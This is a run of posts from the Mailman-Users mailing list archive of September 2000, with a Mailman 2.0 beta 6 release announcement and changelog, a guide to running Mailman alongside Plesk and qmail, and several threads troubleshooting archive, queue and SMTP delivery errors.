From bwarsaw at beopen.com  Sun Sep 24 04:03:35 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Sat, 23 Sep 2000 22:03:35 -0400 (EDT)
Subject: [Mailman-Users] Announcing Mailman 2.0 beta 6
Message-ID: <14797.24823.496809.475484@anthem.concentric.net>

Folks,

I'm pleased to announce the release of Mailman 2.0 beta 6.  In this
release most of the bugs and patches submitted to SourceForge have
been resolved.  See below for a list of changes since 2.0 beta 5.
I've tested this release with Python 1.5.2, 1.6, and 2.0beta1+CVS.

This will be the last beta before 2.0 final.  I think Mailman 2.0 is
now stable enough to be unleashed on the unsuspecting public :).
Besides, it's way overdue and there are lots of important new features
that are backed up waiting for this to get out.

I plan to release 2.0 final about a week after Python 2.0 final is
released.  That currently puts Mailman 2.0 final out on lucky Friday
October 13th.  If the Python release is pushed back, Mailman may be
pushed back too.

Much thanks to everyone who has helped Mailman to where it is, either
through bug reports, patch submissions, important feedback, and
extensive testing.  I'd like to single out Jeremy Hylton on this
release for coming to the rescue at the last minute and working on
Pipermail to fix bugs, add support for non-ASCII charsets, and improve
its performance.

[Side note: I was in New York City last night doing a gig at the
Lion's Den with my band, and I met the guitarist's Linuxhead network
administrator friend.  We were talking geek shop after the show and I
mentioned I worked on "a mailing list manager".  He said, "Oh, like
Mailman?" :) ]

As usual, you can get the tarball from SourceForge

    http://download.sourceforge.net/mailman/mailman-2.0beta6.tgz

or list.org

    http://www.list.org/mailman.tar.gz

or (soon) ftp.gnu.org

    ftp://ftp.gnu.org/gnu/mailman/mailman-2.0beta6.tgz

Enjoy,
-Barry

2.0 beta 6 (22-Sep-2000)

    - Building
        o Tested with Python 1.5.2, Python 1.6, and Python 2.0 beta 1.
          Conducted on RH Linux 6.1 only, but should work
          cross-platform.

        o Configure now accepts --with-username, --with-groupname,
          --with-var-prefix flags.  See `configure --help' or the
          INSTALL file for details.

        o Setting the CFLAGS environment variable before invoking
          configure now works.

        o The icons are now copied into $prefix/icons at install time.
          Patch by David Champion.

    - Standards
        o Compliance with RFC 2369 (List-*: headers).  Patch by
          Darrell Fuhriman.  List-ID: header is kept for historical
          reasons.

        o Fixes by Jeremy Hylton to Pipermail in support of non-ASCII
          charsets, based on the Content-Type: and encoded-words in
          the original message.  Mail headers are now decoded as per
          RFC 2047.

        o Many more bounce formats are detected: Microsoft's SMTPSVC,
          Compuserve, GroupWise, SMTP32, and the more generic
          SimpleMatch (which catches lots of similar but slightly
          different formats).

    - Defaults
        o Email addresses can now be obscured in Pipermail archives by
          setting mm_cfg.ARCHIVER_OBSCURES_EMAILADDRS to 1 (obscuring
          is turned off by default).  Patch provided by Chris Snell.

        o The default NNTP host can now be set by editing
          mm_cfg.DEFAULT_NNTP_HOST.  Patch by David Champion.

        o The default archiving mode (public/private) can now be set
          by editing mm_cfg.DEFAULT_ARCHIVE.  Patch by Ted Cabeen.

    - Web UI
        o The variable details pages in the administrators interface
          is now `live', i.e. there's a submit button on the details
          page.

        o A link to the administrative interface is placed in the
          footer of the general user pages (authentication still
          required, of course!)

        o The user options change results page has a link back to the
          user's main page.

        o In the admindb page (for dealing with held postings), the
          default forward address is now listname-owner instead of
          listname-admin.  This avoids bounce detection on the
          forwarded message.

    - Miscellaneous
        o Fixed config.db corruption problem when disk-full errors are
          encountered.

        o Command line scripts accept list names case-insensitively.

        o bin/remove_members takes a -a flag to remove all members of
          a list in one fell swoop.

        o List admin passwords must be non-empty.

        o Mailman generated passwords are slightly more mnemonic, and
          shouldn't have confusing character selections (i.e. `i'
          only, but no `1' or `l').

        o Crossposting to two gated mailing lists should be fixed.

        o Many other bug fixes and minor web UI improvements.




From titus at ncat.edu  Sun Sep 24 04:25:38 2000
From: titus at ncat.edu (Aaron Titus)
Date: Sat, 23 Sep 2000 22:25:38 -0400
Subject: [Mailman-Users] searching archives
Message-ID: <39CB1504@qip2.ncat.edu>

I'd like to make public mailman archives searchable.  What is the best way to 
do this?

I found an interface on the zope site, but it is new and not recommended for 
those not planning to further develop it.  It is at

http://www.zope.org/Members/k_vertigo/ZopeProducts/MailArchive

If you have an example that I could see, that would be great too.  Thanks.

Aaron





From claw at kanga.nu  Sun Sep 24 07:38:41 2000
From: claw at kanga.nu (J C Lawrence)
Date: Sat, 23 Sep 2000 22:38:41 -0700
Subject: [Mailman-Users] searching archives 
In-Reply-To: Message from Aaron Titus <titus@ncat.edu> 
   of "Sat, 23 Sep 2000 22:25:38 EDT." <39CB1504@qip2.ncat.edu> 
References: <39CB1504@qip2.ncat.edu> 
Message-ID: <11463.969773921@kanga.nu>

On Sat, 23 Sep 2000 22:25:38 -0400 
Aaron Titus <titus at ncat.edu> wrote:

> I'd like to make public mailman archives searchable.  What is the
> best way to do this?

I use UdmSearch as an esternal archiver:

  http://www.kanga.nu/search/

Another common choice HT:Dig, or if your loads are light enough that
you can afford to do realtime searches (ir no pre-genned indexes)
things like Swish.  There have been previous discussions (and
patches I think) to support having Pipermail emben the appropriate
HTML for your search interface, but I've not looked into that as I use 
MHonArc as an external archiver:

  http://www.kanga.nu/archives/

Archive configs:

  ftp://ftp.kanga.nu/pub/Kanga.Nu/WebArchives/

And an older simpler form:

  ftp://ftp.kanga.nu/pub/Kanga.Nu/WebArchives.old/

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From ricardo at rixhq.nu  Sun Sep 24 13:23:43 2000
From: ricardo at rixhq.nu (Ricardo Kustner)
Date: 24 Sep 2000 13:23:43 CEST
Subject: [Mailman-Users] Error. w/ a tool.
In-Reply-To: <Pine.LNX.4.21.0009231550470.5149-100000@praha>
References: <Pine.LNX.4.21.0009231550470.5149-100000@praha>
Message-ID: <200009241120.NAA22399@smtp3.xs4all.nl>

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From ricardo at rixhq.nu  Sun Sep 24 13:27:22 2000
From: ricardo at rixhq.nu (Ricardo Kustner)
Date: 24 Sep 2000 13:27:22 CEST
Subject: [Mailman-Users] can't subscribe
In-Reply-To: <39CCD949.93510C9A@forestry.umn.edu>
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From jleach at mail.ocis.net  Sun Sep 24 20:03:25 2000
From: jleach at mail.ocis.net (Jason C. Leach)
Date: Sun, 24 Sep 2000 11:03:25 -0700 (PDT)
Subject: [Mailman-Users] Error. w/ a tool.
In-Reply-To: <200009241120.NAA22399@smtp3.xs4all.nl>
Message-ID: <Pine.LNX.4.21.0009241103100.5149-100000@praha>

hi,

Mail man 1.1 on a Redhat 6.0 system.

j.

......................
..... Jason C. Leach
... University College of the Cariboo.
. BSc. Comp. Sci. Candidate for 2001.

On 24 Sep 2000, Ricardo Kustner wrote:

> Hi,
> 
> On Sat, 23 Sep 2000 15:52:31 -0700 (PDT), Jason C. Leach said:
> 
> >  I'm having a small problem w/ one of mailman's utility aps
> >  'nightley_gzip'. Below is the error it produces, and below 
> >  it is the contents of the directory it's looking through.  I'm not sure
> >  what to correct in it.
> >  [mailman at lug cron]$ python nightly_gzip lug
> >  Traceback (innermost last):
> >    File "nightly_gzip", line 143, in ?
> >      main()
> >    File "nightly_gzip", line 114, in main
> >      time.strptime(f, '%Y-%B.txt')
> >  AttributeError: strptime
> 
> which version of Mailman and python are you using?
> 
> Ricardo.
> -- 
> http://rixhq.nu
> 
> "You think that's air you're breathing?" -- Morpheus
> 
> 




From Sramsey at east.delfin.com  Mon Sep 25 04:12:16 2000
From: Sramsey at east.delfin.com (Sramsey at east.delfin.com)
Date: Sun, 24 Sep 2000 22:12:16 -0400
Subject: [Mailman-Users] Public Lists are NOT visible
Message-ID: <OF3A99D313.69239C0F-ON85256965.000BC88B@east.delfin.com>

I have created a number of test list but when I attempt to view using
listinfo with my browser the server reports there are no public lists.
Using Apache web server and Exim.
__________________________________
W. Scott Ramsey
Sr. Network Engineer - MCNE/CLP (R5)/ACC
Delfin Systems - Fairfax VA
office (703) 449-7600 ext 2172
mobile (703) 861-5482






From Sramsey at east.delfin.com  Mon Sep 25 04:46:45 2000
From: Sramsey at east.delfin.com (Sramsey at east.delfin.com)
Date: Sun, 24 Sep 2000 22:46:45 -0400
Subject: [Mailman-Users] Found answer to missing Public Lists
Message-ID: <OF00052DD7.EC5565F1-ON85256965.000F0313@east.delfin.com>

I had posted a question earlier about missing Public lists.  Turns out the
URL that points to the Mailman was incorrect.  This is a test List server
and the A record has not been created in our DNS zone.  So for now I have
to use the IP address in the URL.  Simple fix when I'm ready to take this
thing live.
__________________________________
W. Scott Ramsey
Sr. Network Engineer - MCNE/CLP (R5)/ACC
Delfin Systems - Fairfax VA
office (703) 449-7600 ext 2172
mobile (703) 861-5482






From midnight at the-oasis.net  Mon Sep 25 07:00:07 2000
From: midnight at the-oasis.net (Phil Barnett)
Date: Mon, 25 Sep 2000 01:00:07 -0400
Subject: [Mailman-Users] Mailman with Plesk and qmail
Message-ID: <39CEA397.16402.FB0368C@localhost>

Please feel free to include this in the Mailman documentation...

Using Mailman with Plesk (which uses qmail)

Base Configuration: RedHat 6.2 Server, AMD K6/2 CPU. Plesk 1.3, 
Mailman 2.0b5

(If you just want to get qmail working with Mailman and you don?t 
use Plesk, jump to Part 3)

Part 1. Getting Plesk and Mailman set up with Apache.

It is important to know that when you install Plesk, it installs it?s 
own proprietary directory tree where all software it installs and 
configures is located, i.e.: /usr/local/plesk. Also, Plesk rewrites 
almost all of the configuration files on the fly, so if you don?t make 
your modifications in the right place, you will lose your 
modifications the next time someone uses the Plesk Administrator 
web interface to make a virtual host change. While I found at first 
that having Plesk put it?s files in an unexpected place to be 
somewhat of a pain, I eventually found it to be of great benefit.

The directory used to configure Apache under Plesk is 
/usr/local/plesk/apache/conf, and the files you want to modify are 
httpsd.conf and httpsd.conf.def. The httpsd.conf.def file is a 
template. It is used verbatim as the header of the httpsd.conf file 
each time Plesk performs an update of the configuration files. The 
easiest way to make sure that you are getting configured the way 
you want is to change both files.

The first thing I found out was that there was no way to actually 
use Mailman and Plesk on the same installation of Apache. Plesk 
programmers are pretty good regarding security, so they run all cgi 
under suexec. Since Mai
lman has it?s own cgi wrapper, there was no easy way to get them working together. I spent days trying but eventually I gave up on that track. I?m not sure it?s possible without serious code hacking.

With that said, however, I found a way around it. This is Linux. There?s always another way!

It is important to note that when I co-located my server, I received 10 IP addresses. While looking in the Plesk/Apache configuration scripts, I found that the Plesk programmers left the default Apache command ?listen 80?
 in the httpsd.conf file. This means that Plesk automatically took over every available IP on port 80. This was the first thing I had to rectify. So, instead of letting Plesk/Apache listen to port 80 on every IP, I commen
ted out ?listen 80? and manually set up 9 of the IP addresses and left one out purposefully. The command for this is ?listen x.x.x.x:port? where x.x.x.x is the IP address you want Apache to listen on and port is self expl
anatory. They are additive, and you can use as many of them as you need.

After the Plesk installation, it looked like this:

Listen 80
Listen 443
BindAddress *

And now it looks like this:

Listen 206.132.232.91:80
Listen 206.132.232.92:80
Listen 206.132.232.93:80
Listen 206.132.232.94:80
Listen 206.132.232.95:80
Listen 206.132.232.96:80
Listen 206.132.232.97:80
Listen 206.132.232.98:80
Listen 206.132.232.99:80
Listen 443
BindAddress *

This leaves port 80 on 206.132.232.90 available for us to use in another way.

What we are after here is Apache running just enough to take care of the Mailman web interfaces. Now, back to having Plesk install on it?s own directory tree and it being a benefit. We can now install a stock Apache RPM a
nd not hurt the Plesk installation one bit. And, we are going to bind that installation quite specifically to listen on one address and comment out Listen * and BindAddress *. We won?t need any virtual hosts for this Apac
he install. Plesk does that so well anyway, what would be the point in manually configuring them?

#
# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, in addition to the default. See also the <VirtualHost>
# directive.
#
#Listen *
Listen 206.132.232.90:80

#
# BindAddress: You can support virtual hosts with this option. This directive
# is used to tell the server which IP address to listen to. It can either
# contain "*", an IP address, or a fully qualified Internet domain name.
# See also the <VirtualHost> and Listen directives.
#
#BindAddress *

Once this is all done, you can restart everything and you will have 3 copies of Apache running. One each for Plesk Virtual Accounts, Plesk Administration and Mailman. Plesk only controls two of them. To restart Plesk manu
ally, you can issue the following command:

/etc/rc.d/init.d/plesk restart

Part 2. Fixing up DNS.

Once again, Plesk dynamically rewrites the DNS configuration files, and once again, they leave us a nice way to make modifications permanent. The directory Plesk uses for this is /usr/local/plesk/namedb and the files we n
eed to modify are named.conf and named.conf.def. At the end of named.conf.def and at the end of named.conf, I added this:

zone "matrixlist.com"{
        type master;
        file "matrixlist.com";
};

In the same directory, I added a file named matrixlist.com, which contains:

$TTL    3600

@       IN      SOA     matrixlist.com. admin.matrixlist.com. (
                        965448528       ; serial
                        10800   ; refresh
                        3600    ; retry
                        604800  ; expire
                        86400 ) ; minimum

matrixlist.com.         IN NS           ns1.fiberhosting.net.
matrixlist.com.         IN A            206.132.232.90
www.matrixlist.com.     IN CNAME        matrixlist.com.
mail.matrixlist.com.    IN CNAME        matrixlist.com.
matrixlist.com.         IN MX           10 mail.matrixlist.com.

Restarting Plesk gets our new name service running on the IP of our choice.

To restart DNS under Plesk, issue the following command:

/etc/rc.d/init.d/plesk restart

Part 3. Getting Mailman installed and running.

Since we have a virgin copy of Apache running using a default installation provided by an RPM, the Mailman installation instructions can be followed to the letter and you get a beautiful install.

I?ll give you a time saver here. When you ./configure Mailman, you have to give it some parameters to get it all working.

--with-mail-gid
--with-cgi-gid

You are definitely going to have to get this right to have a working installation, but I just was never smart enough to figure out exactly what was needed until an operation failed and gave me an error message. So, my sug
gestion is to not spend a whole lot of time here, but be prepared to recompile Mailman a few times as you figure out what is what. At first, make a guess. If you get them right, good for you. If you get them wrong, Mailma
n will throw an error message and tell you what to change! Don?t waste a lot of time here. I labored over this trying to get it right and wasted a bunch of time.

Anyway, I ended up using:

./configure ?set-mail-gid=10029 and ?set-cgi-gid=99
make
make install

You may have to redo the above steps as you find out exactly which gid?s you need. I found Mailman to be the easiest part of the installation once I found out that it would tell me where I went wrong when I goofed things 
up. If you do have to recompile, don?t forget to do a ?make clean? first.

As you are following the steps in the INSTALL file in the Mailman install directory, one of the things you will do is to bring up the web interface to see if it is running. When you do this, if you got the ?with-cgi-gid g
roup wrong, you will probably see an error message that says something like 

Got gid=xxx expected yyy. Recompile to accept yyy?

This is Mailman?s way of telling you what you did wrong and how to get it right. Write down the number it expected for your next compile.

When you start bringing up the qmail interface, you may encounter difficulties if you got the ?with-mail-gid setting wrong. If you look in the /home/mailman/logs directory you will see a bunch of log files. Look in them I
f you got the mail gid wrong, one of them will be telling you a message like above, got gid=xxx, expected yyy. Write it down for your next compile.

The good thing is that a ./configure and make clean;make;make install doesn?t seem to disturb anything.

Part 4. Getting qmail to cooperate.

Under Plesk, qmail configuration files are in /usr/local/plesk/qmail/control. In that directory, I modified two files. 

In rcpthosts, I added:
matrixlist.com

In virtualdomains, I added:
matrixlist.com:mailman

If you followed the Mailman instructions, you created a user named mailman. This entry redirects mail to that user.

With that done, you can restart qmail under Plesk by running:

/etc/rc.d/init.d/plesk restart

Part 5. Adding lists and aliases.

Now that the hard part is over, you should have a running Mailman installation and you can add your first list. The Mailman instructions suggest a first list named test, and I think that is a great idea. Add your test lis
t according to the instructions in the Mailman INSTALL file. Then, once you have done that, you need to add the qmail aliases.

In the /home/mailman/bin directory, create a file named mailalias.sh and put the following in it:

#!/bin/sh
if [ $# = 1 ]; then
    i=$1
    echo Making links to $i...
    echo "|preline /home/mailman/mail/wrapper post $i" > .qmail-$i
    echo "|preline /home/mailman/mail/wrapper mailowner $i" > .qmail-$i-admin
    echo "|preline /home/mailman/mail/wrapper mailowner $i" > .qmail-$i-owner
    echo "|preline /home/mailman/mail/wrapper mailowner $i" > .qmail-owner-$i
    echo "|preline /home/mailman/mail/wrapper mailcmd $i" > .qmail-$i-request
fi

Now, move to the /home/mailman directory and run:

bin/mailalias.sh test

This will create the qmail aliases.

At this point, restart Plesk one last time and test out your installation. Everything should be working.

Now, with all that said, I am no expert on qmail or Mailman. I depended heavily on the mailing lists for those two respective projects. I asked stupid questions and argued with people. I got some pretty good help from som
e of them. Mailing lists are what they are. Great benefit can be derived from mailing lists if you don?t give up.

Happy Mail Listing.
Phil Barnett
midnight at the-oasis.net



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From benoit.moeremans at net7.be  Mon Sep 25 09:31:42 2000
From: benoit.moeremans at net7.be (Benoit Moeremans)
Date: Mon, 25 Sep 2000 09:31:42 +0200
Subject: [Mailman-Users] refencer list
Message-ID: <6E4122B84050D411838500508BD6A1950239BE@relayint.advalvas.be>

> Hi, 
> One of my clients has changed the domain in another domain, and it's no
> possible for him from the website to subscribe on the mailing list. I want
> to know how and where can i add the new domain? 
> Thnx
> 
> Benoit Moeremans
> Net7 Support Team support at net7.be  Tel. 02/216.54.51 Member of the
> AdValvas Group
> 
> 



From s5146nem at hszk.bme.hu  Mon Sep 25 12:52:03 2000
From: s5146nem at hszk.bme.hu (Nemeth Krisztian)
Date: Mon, 25 Sep 2000 12:52:03 +0200 (MET DST)
Subject: [Mailman-Users] 'unpack list of wrong size'
Message-ID: <Pine.GSO.4.21.0009251233010.5366-100000@ural2>

Hello Everyone,

First of all, I am sorry my question has already been addressed before: the
archives are too long to search them manually, and the advertised automatic
searching is just not working.

So my question is: something is wrong with my Mailman installation I guess,
as the Cron Daemon keeps sending me error-mails ending te following way:

  File "/home/mailman/Mailman/flock.py", line 96, in __read
    pid, winner = string.split(string.strip(fp.read()))
ValueError: unpack list of wrong size
Exception exceptions.ValueError: 'unpack list of wrong size' in <method
FileLock.__del__ of FileLock instance at 80b8360> ignored

The file ~mailman/logs/error is full with these lines:
...
Sep 25 12:42:00 2000 processQueue: Processing of queue file
/home/mailman/data/mm_q.20815.1 failed:
Sep 25 12:42:00 2000 processQueue:       exceptions.EOFError  / EOF read
where object expected 
Sep 25 12:42:00 2000 processQueue: Processing of queue file
/home/mailman/data/mm_q.10552.1 failed:
Sep 25 12:42:00 2000 processQueue:       exceptions.EOFError  / EOF read
where object expected 
Sep 25 12:42:00 2000 processQueue: Processing of queue file
/home/mailman/data/mm_q.11068.1 failed:
Sep 25 12:42:00 2000 processQueue:       exceptions.EOFError  / EOF read
where object expected 
Sep 25 12:42:00 2000 processQueue: Processing of queue file
/home/mailman/data/mm_q.11076.1 failed:
Sep 25 12:42:00 2000 processQueue:       exceptions.EOFError  / EOF read
where object expected 

Some more information, maybe it helps to find the problem:
[mailman at soha data]$ ls -la
total 4
drwxrwsr-x   2 nemeth_k mailman      1024 Sep 25 02:59 ./
drwxrwsr-x  16 mailman  mailman      1024 Nov  1  1999 ../
-rw-r-----   1 mailman  mailman        13 Nov  1  1999 adm.pw
-rw-rw----   1 mail     mailman         0 Mar  3  2000 mm_q.10552.1
-rw-rw----   1 mail     mailman         0 Mar  3  2000 mm_q.11068.1
-rw-rw----   1 mail     mailman         0 Mar  3  2000 mm_q.11076.1
-rw-rw----   1 mail     mailman         0 Feb 10  2000 mm_q.20815.1
-rw-rw----   1 mail     mailman         0 Nov  4  1999 mm_q.3409.1
-rw-rw-r--   1 nemeth_k mailman        24 Aug  5 03:35
pending_subscriptions.db

and ~mailman/locks has plenty of lines like this:
mmqueue_run.lock.soha.ttt.bme.hu.7281
mmqueue_run.lock.soha.ttt.bme.hu.20726
mmqueue_run.lock.soha.ttt.bme.hu.7284
mmqueue_run.lock.soha.ttt.bme.hu.20731
mmqueue_run.lock.soha.ttt.bme.hu.7337
mmqueue_run.lock.soha.ttt.bme.hu.23814
...
and so on, all together 58 files like these... (Can I just delete them?)

Can somebody please help?

Best regards,
Krisztian Nemeth




From hedemark at bops.com  Mon Sep 25 15:58:03 2000
From: hedemark at bops.com (Chris Hedemark)
Date: Mon, 25 Sep 2000 09:58:03 -0400
Subject: [Mailman-Users] archiver errors
Message-ID: <3D71CCC526F1D311A72600902773EC21209B51@CASCABELLA>

post(30891):     self.__archive_to_mbox(msg)
post(30891):   File "/home/mailman/Mailman/Archiver/Archiver.py", line 160,
in __archive_to_mbox
post(30891):     post.SetHeader('Date', time.ctime(time.time()))
post(30891): AttributeError: SetHeader
Sep 24 20:59:51 2000 admin(31661): Traceback (innermost last):
admin(31661):   File "/home/mailman/Mailman/Archiver/Archiver.py", line 204,
in ArchiveMail
admin(31661):     self.__archive_to_mbox(msg)
admin(31661):   File "/home/mailman/Mailman/Archiver/Archiver.py", line 160,
in __archive_to_mbox
admin(31661):     post.SetHeader('Date', time.ctime(time.time()))
admin(31661): AttributeError: SetHeader

The above is a tail of my ~/logs/error which shows some problems I'm having
relating to the archives.  We've been running for oh close to a month now
and haven't gotten any archives yet it seems.  I checked the FAQ and online
documentation and didn't see any reference to this as a known problem.

I'm running the latest Mailman on a Red Hat 6.2 x86 system with all of the
latest update RPM's from Red Hat.

Has anyone seen & gotten around this before?  I'm not any sort of programmer
so really have no idea how to go about fixing this.  Thanks!

Chris Hedemark
System Administrator
Billions of Operations Per Second, Inc.
6340 Quadrangle Drive, Suite 210
Chapel Hill, NC 27514
Phone: (919)403-6757 x139
Fax: (919)402-9442
email: hedemark at bops.com <mailto:hedemark at bops.com>
"What a cruel reflection that a rich country cannot long be a free one." -
Thomas Jefferson





From ppruett at webengr.com  Mon Sep 25 13:29:21 2000
From: ppruett at webengr.com (ppruett)
Date: Mon, 25 Sep 2000 11:29:21 +0000 (GMT)
Subject: [Mailman-Users] openbsd and mailman
In-Reply-To: <20000924145445.A6837@bnl20.ten.nl>
Message-ID: <Pine.BSO.4.21.0009251057410.24385-100000@shire.webengr.com>

mailman and openbsd and ports........


I got it up and running on openbsd using the latest
cvs tree, since I own my
small business,
and have to keep busy to make payroll, we never seem to
have much time to spare
unfortunately....  
I would like to make a port,
but for now I may have to put it off - regrets,,,
Unfortunately I have to do things like
help a customer build a Microsoft Access database to 
do labels -yuck- and another to do a php script pages, etc...
and somehow make payroll.., 
and I know if it wasn't for
opensource I couldn't be in business at all 
but at the same time it's so hard to find the
time to contribute - its a problem for all is small isps
oh well - a little cheese with the wine...:)
that being said here is the next steps I could do.

I need to read-

http://www.openbsd.org/porting.html
"So you've just compiled your favorite software package on your OpenBSD
machine and you want to share your effort by turning it into a standard
port. What to do?........."

And after I created the tarball for the port I'd email ports at openbsd.org
with the location.... and then peer revision I think....

But I wonder, I just tried to make "hylafax" and the openbsd port
said no do to security issues, I wonder if mailman would make
it through the audits,

well back reducing the email inbox,
thanks for the input
-paul



On Sun, 24 Sep 2000, tim wrote:

> 
> 
> hello,
> 
> you're right, FreeBSD does have a mailman port:
> 
> Port:   mailman-2.0b5
> Path:   /usr/ports/mail/mailman
> Info:   Software to help manage email discussion lists
> Maint:  ports at FreeBSD.org
> Index:  mail
> B-deps: python-1.5.2
> R-deps: apache-1.3.12 python-1.5.2
> 
> 
> Well, if you have it now up and running ... maybe try porting it to OpenBSD, or at
> least getting in contact with the ports team of OpenBSD. 
> 
> It would be worth the effort since mailman offers many nice advantages to majordomo,
> namely the ease in maintaining the list through the webinterface. 
> 
> and, of course, it's also good promotion for python. 
> 
> cheers,
> 
> t.
> 
> On Fri, Sep 22, 2000 at 10:35:00AM +0000, ppruett wrote:
> > 
> > thanks for the note,
> > 
> > Iwas using the beta that was linked from the homepage....
> > 
> > 
> > Agreed I don't think it is python, 
> > per reply to list, I had to go to
> > sourceforge
> > to get the latest mailman using cvs, 
> > there was a bug that effected
> > the socket I was told on bsd versions
> > However I'm still using 1.52 python - its working and
> > I had to be up so I did not try it with 1.6 python.
> > 
> > I have seen some complaints and wishing that
> > the bsd packages all shared the same ports tree,
> > but I don't think it will happen.  I think one of
> > the flavors of bsd has mailman in it's port maybe freebsd....
> > but I elected to switch from redhat to openbsd,
> > thus the migration pains...
> > 
> > Well I'm up an running mailman so far
> > 
> > - thanks for your input.
> > paul
> > 
> > 
> > 
> > On Fri, 22 Sep 2000, tim wrote:
> > 
> > > 
> > > hello,
> > > 
> > > have you already asked if there is a port in development? I asked once about
> > > pptp client, and I got many prompt replies. 
> > > 
> > > It's a real shame that neither Open nor NetBSD have a port/pkg for mailman.
> > > I can't see why, I think python is not a problem on either system as an
> > > application like xmms is. 
> > > 
> > > good luck with it!
> > > 
> > > t.
> > > 
> > > On Thu, Sep 21, 2000 at 02:01:21PM +0000, ppruett wrote:
> > > > 
> > > > 
> > > > I was able to get mailman to work I thought...
> > > > on a generic Openbsd 2.7 
> > > > 
> > > > I did have to use their port of python 1.52
> > > > because their port of 1.6 did not work, I put
> > > > a bug notice on it just in case it was relevant
> > > > for the developers of mailman.
> > > > 
> > > > So I got it going I thought, it worked, then
> > > > the next day its pretending to work
> > > > I noted that a posting showed up in the archive
> > > > but never went out. subsequent postings don't
> > > > show up in the archive nor deliver but
> > > > they don't bounce either they just dissappear
> > > > and don't show up in the mqueue either...
> > > > 
> > > > My question to the list is...
> > > >  Are there members using OpenBSD 2.7 and 
> > > >  was there some tricks or gotchass other
> > > >  than that mentioned in README.BSD
> > > > 
> > > > ?
> > > > 
> > > > - thanks,
> > > > paul
> > > > 
> > > > 
> > > > 
> > > > ------------------------------------------------------
> > > > Mailman-Users maillist  -  Mailman-Users at python.org
> > > > http://www.python.org/mailman/listinfo/mailman-users
> > > 
> > > -- 
> > > 
> > > Buy yourself a computer ... buy yourself frustration
> > > 
> > 
> 
> -- 
> 
> Buy yourself a computer ... buy yourself frustration
> 





From benoit.moeremans at net7.be  Mon Sep 25 16:58:05 2000
From: benoit.moeremans at net7.be (Benoit Moeremans)
Date: Mon, 25 Sep 2000 16:58:05 +0200
Subject: [Mailman-Users] clone
Message-ID: <6E4122B84050D411838500508BD6A1950239D4@relayint.advalvas.be>

Got this line in the check of my server: 
Sep 25 16:13:46 penguin sendmail[25107]: QAA25107: clone QAA25106,
owner=belegger.com-admin 

And there are a problem, there are no queue but any mails are deliverated. A
solution?
Thanks


Benoit Moeremans
Net7 Support Team support at net7.be  Tel. 02/216.54.51 Member of the AdValvas
Group





From hwg at vsl.cua.edu  Mon Sep 25 12:59:03 2000
From: hwg at vsl.cua.edu (Guess Who.....)
Date: Mon, 25 Sep 2000 10:59:03 GMT
Subject: [Mailman-Users] How to track errors...
Message-ID: <200009251059.KAA48737@gateway.vsl.cua.edu>

Hello everyone, I setup a list about two months ago and it was working 
just fine.  About two weeks ago it stopped working for no apparent 
reason.  Mail goes in, but nothing comes out.  Where do I go to track 
the error?  I've looked in the log file and have found nothing :/
|UDontNoMe|



From forseti at dukat.rassilon.net  Mon Sep 25 23:29:04 2000
From: forseti at dukat.rassilon.net (Forseti - The Lawgiver)
Date: Mon, 25 Sep 2000 17:29:04 -0400 (EDT)
Subject: [Mailman-Users] TrySMTPDelivery
Message-ID: <Pine.BSF.4.10.10009251726200.799-100000@dukat.rassilon.net>

Hi,

I don't think my first try for this posted so here goes:

mailman-1.1 with postfix

The SMTP-failure log shows the following:

Sep 21 11:52:03 2000 TrySMTPDelivery:    exceptions.TypeError  / connect
requires exactly 1 argument; 2 given  (dequeued)
Sep 21 11:52:03 2000 TrySMTPDelivery: To ['jdoe at dukat.rassilon.net',
'jdoe at koyaanisqatsi.rassilon.net']:

It looks as if it's passing 2 arguments back to postfix, but I'm not sure
why.

Can someone please shed some insight?

Thanks,

Martin.




From Dan.Mick at west.sun.com  Mon Sep 25 22:13:10 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Mon, 25 Sep 2000 13:13:10 -0700
Subject: [Mailman-Users] clone
References: <6E4122B84050D411838500508BD6A1950239D4@relayint.advalvas.be>
Message-ID: <39CFB1D6.FC3B4D21@west.sun.com>

This message is "normal"; I don't remember the exact circumstances, but 
sendmail does clone a message from time to time (or maybe every outgoing message,
I don't remember).

Check ~mailman/logs, ~mailman/qfiles should be empty (if not verify that
cron/qrunner is running as mailman periodically like INSTALL says)...in other
words, verify that it's not one of the same old problems always diagnosed here.

Benoit Moeremans wrote:
> 
> Got this line in the check of my server:
> Sep 25 16:13:46 penguin sendmail[25107]: QAA25107: clone QAA25106,
> owner=belegger.com-admin
> 
> And there are a problem, there are no queue but any mails are deliverated. A
> solution?
> Thanks
> 
> Benoit Moeremans
> Net7 Support Team support at net7.be  Tel. 02/216.54.51 Member of the AdValvas
> Group
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users



From neo at rnonline.com.ar  Mon Sep 25 22:11:49 2000
From: neo at rnonline.com.ar (Norberto)
Date: Mon, 25 Sep 2000 17:11:49 -0300
Subject: [Mailman-Users] Spanish version
Message-ID: <5.0.0.25.0.20000925171030.00b8b070@imap.rnonline.com.ar>

Hi, Does anyone know if there is a version of Mailman translated into spanish?

Thanks!

Norberto




From Dan.Mick at west.sun.com  Mon Sep 25 22:16:04 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Mon, 25 Sep 2000 13:16:04 -0700
Subject: [Mailman-Users] TrySMTPDelivery
References: <Pine.BSF.4.10.10009251726200.799-100000@dukat.rassilon.net>
Message-ID: <39CFB284.5DEC3989@west.sun.com>

That code path looks dead in 2.x; I'd upgrade, as the queuing strategy has
been very-much changed and robustified in 2.x.

Forseti - The Lawgiver wrote:
> 
> Hi,
> 
> I don't think my first try for this posted so here goes:
> 
> mailman-1.1 with postfix
> 
> The SMTP-failure log shows the following:
> 
> Sep 21 11:52:03 2000 TrySMTPDelivery:    exceptions.TypeError  / connect
> requires exactly 1 argument; 2 given  (dequeued)
> Sep 21 11:52:03 2000 TrySMTPDelivery: To ['jdoe at dukat.rassilon.net',
> 'jdoe at koyaanisqatsi.rassilon.net']:
> 
> It looks as if it's passing 2 arguments back to postfix, but I'm not sure
> why.
> 
> Can someone please shed some insight?
> 
> Thanks,
> 
> Martin.
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users



From Dan.Mick at west.sun.com  Mon Sep 25 22:24:05 2000
From: Dan.Mick at west.sun.com (Dan Mick)
Date: Mon, 25 Sep 2000 13:24:05 -0700
Subject: [Mailman-Users] archiver errors
